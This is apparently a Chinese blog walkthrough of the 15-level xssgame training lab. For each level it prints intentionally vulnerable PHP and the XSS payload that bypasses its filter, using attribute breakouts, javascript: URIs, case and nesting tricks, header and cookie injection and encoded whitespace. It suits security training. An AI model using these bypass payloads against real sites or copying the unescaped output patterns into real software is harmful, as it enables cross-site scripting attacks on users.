下载地址:https://files.cnblogs.com/files/Lmg66/xssgame-master.zip
使用:下载解压,放到www目录下(phpstudy),http服务下都行,我使用的是phpstudyjavascript
<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level2.php?keyword=跨站师"; } </script> <title>第1关</title> </head> <body> <h1 align=center>第1关 先热个身吧</h1> <?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>欢迎用户:".$str."</h2>"; ?> <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/8deed969-b339-4c84-8654-b1a1e40e06de.png" width="50%"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
对name没有任何的过滤输出到标签中,基本的xss都行php
level1.php?name=<script>alert('xss')</script>
<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level3.php?writing=苦尽甘来"; } </script> <title>第2关</title> </head> <body> <h1 align=center>第2关 窒息的操做</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?> <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/688da926-8a0b-452a-9a2b-82ba919328fb.jpg"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
用htmlspecialchars()函数,以前作过,会html实体化,<>会被转义
能够尝试"来闭合"html
" onclick=alert('XSS') // " onclick=alert('XSS') "
<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level4.php?keyword=宁静致远"; } </script> <title>第3关</title> </head> <body> <h1 align=center>第3关 这该咋办啊</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /> </form> </center>"; ?> <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/ee7a688a-d75e-4ed7-8a79-96e62d3127e2.png" width="15%"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
和第二关相似,只是变成了单引号,闭合单引号便可java
' onclick=alert('xss') ' ' onclick=alert('xs') //
<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level5.php?keyword=逆水行舟"; } </script> <title>第4关</title> </head> <body> <h1 align=center>第4关 生无可恋</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/0d3f0d24-a861-4d20-97da-f807ea842be8.jpg"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>"; ?> </body> </html>
在第二关的基础上进行了< >的过滤,但第二关payload没有 < >仍然可使用git
" onclick=alert('XSS') // " onclick=alert('XSS') "
<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level6.php?keyword=柳暗花明"; } </script> <title>第5关</title> </head> <body> <h1 align=center>第5关 没错又是搜索</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/cb30e912-eabc-4357-89eb-49e8de1b1961.jpg"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>"; ?> </body> </html>
strtolower()函数,把字符转换为小写,接着替换script标签和on使这个两个事件无法使用,但仍能够闭合引号,因此要使用其余标签经过javascript:alert('xss')来触发弹出
github
"><a href=javascript:alert('xss') " "><a href=javascript:alert('xss') //
<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level7.php?keyword=锲而不舍"; } </script> <title>第6关</title> </head> <body> <h1 align=center>第6关 嗯 仍是搜索</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/92847238-8dda-473f-9c04-83986de1472a.jpg"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>"; ?> </body> </html>
替换了script标签,on,src,data,herf,且html实体化看起来彷佛没问题,但相比前几关发现没有转换为小写,因此可大小写来绕过匹配sql
" ONclick=alert('XSS') // "><a Href=javascript:alert('XSS') //
<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level8.php?keyword=笨鸟先飞"; } </script> <title>第7关</title> </head> <body> <h1 align=center>第7关 猜一猜下面题目还有搜索嘛</h1> <?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/17532328-f4cc-4bca-b283-c7f7b5a13f80.jpg" width="20%"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>"; ?> </body> </html>
get方式传入keyword,strtolowe()函数变为小写,而后replace()函数匹配script,on,src,data,href,可是只是匹配了一次,因此能够嵌套绕过,最后htmlspecialchars(),因此< > 不能用,尝试闭合"cookie
" oonnclick=alert('XSS') //
<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level9.php?keyword=水滴石穿"; } </script> <title>第8关</title> </head> <body> <h1 align=center>第8关 老铁要和我换友链嘛?</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情连接 /> </form> </center>'; ?> <?php echo '<center><BR><a href="'.$str7.'">友情连接</a></center>'; ?> <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/d2d2080f-746c-4276-9f63-585fc4fd4a9c.jpg" width="20%"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>"; ?> </body> </html>
get方式传入keyword,strtolower()转换为小写,而后replace替换script,on,src,data,href,"("号html实体化了),而后发现又html实体化输入,彷佛没有问题,而后发现友情连接,没有html实体化输入,能够尝试在这个位置绕过,可是都被过滤了,尝试编码绕过对JavaScript;alert('xss')编码(呸,不是编码)转义https://www.jianshu.com/p/6dcefb2a59b2(参考连接),目的是绕过replace,而后仍能被html解析
xss
javascript:alert('xss') javascrip	t:alert('XSS')
<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level10.php?keyword=锲而不舍"; } </script> <title>第9关</title> </head> <body> <h1 align=center>第9关 添加友连again</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情连接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的连接不合法?有没有!">友情连接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情连接</a></center>'; } ?> <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/51fb4236-2965-42ab-851e-0ec266b3c3ba.jpg"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>"; ?> </body> </html>
和第八关相同,只是判断连接是否合法,加上http://就能够了函数
javascript:alert('xss') //http://
<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level11.php?keyword=自强不息"; } </script> <title>第10关</title> </head> <body> <h1 align=center>第10关 嗯 搜索又出现了</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/fed9cb1c-3111-49a8-b111-16081ac4b16c.jpg"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
传入keyword和t_sort,keyword没有过滤,可是html实体化输出,并且没在标签内,因此应该没问题,看t_sort,过滤了< > ,并且没有实体化输出
尝试闭合引号
?keyword=123&t_sort=" type="text" onclick=alert('XSS') //
<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level12.php?keyword=破釜沉舟"; } </script> <title>第11关</title> </head> <body> <h1 align=center>第11关 为何这么多搜索呢</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/60a6e17f-c823-40c3-ab84-502b2f905456.jpg"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
str和str00都html实体化并且不在script标签内部,且闭合为',应该无解,而后发现str33,没有实体化,$_SERVER['HTTP_REFERER']获取httpreferer信息,只是过滤了< > ,能够闭合双引号来绕过,不过我没明白这题啥用
" type = "text" onclick=alert('xss')//
<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level13.php?keyword=矢志不渝"; } </script> <title>第12关</title> </head> <body> <h1 align=center>第12关 黑人问号</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/f4558b8c-778b-4dd8-bef6-425766f9d178.jpg"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
和上一关同样,xss位置变一下
" type = "text" onclick=alert('xss')//
<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level14.php"; } </script> <title>第13关</title> </head> <body> <h1 align=center>第13关 作题好爽啊</h1> <?php setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_cook" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/c048c2e3-7937-478b-9781-0ee4d7214648.jpg"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
$_COOKIE["user"];获取cookie,而后过滤< > 没有实体化输入,尝试闭合双引号
user=" type = "text" onclick=alert('xss')//
<!DOCTYPE html> <head> <meta charset="utf-8"> <script src="https://chao.jsanhuan.cn/angular.min.js"></script> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level15.php?keyword=业精于勤"; } </script> <title>第14关</title> </head> <h1 align=center>第14关 恭喜你快要通关了</h1> <p align=center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/54c95d0f-037b-4885-a3f4-f8a3ad5c9341.jpg" width="20%"></p> <?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>
传入src,而后实体化输出,而后彷佛无解,仔细看前面ng-include:,
ng-include 指令用于包含外部的 HTML 文件。包含的内容将做为指定元素的子节点。ng-include 属性的值能够是一个表达式,返回一个文件名。默认状况下,包含的文件须要包含在同一个域名下。因此传入其余关的xss,不过不知道这有啥用既然其余地点有xss
src='level1.php?name=<img src=x onerror=alert(1)>'
因为引用的js代码失败,因此我没成功,但云靶机是对的,云靶机地址:https://www.xss.tv/
<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("ORZ ORZ ORZ 恭喜所有经过"); window.location.href="success.txt"; } </script> <title>第15关</title> </head> <body> <h1 align=center>第15关 厉害了 Word哥</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4); echo "<center>".$str5."</center>"; ?> <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/9ec67d16-a8b9-41cd-82fa-14b0c0f96e72.gif"</center> <?php echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>"; ?> </body> </html>
get传入能够word,转换为小写,让过滤script,空格,/,可使用url编码来绕过
符号 | url编码 |
---|---|
回车 | %0d |
换行 | %0d |
payload:
level15.php?keyword=<img%0asrc=x%0aonerror=alert('XSS')>
国光大佬:https://www.sqlsec.com/2020/01/xss.html
最后欢迎访问个人博客:https://lmg66.github.io/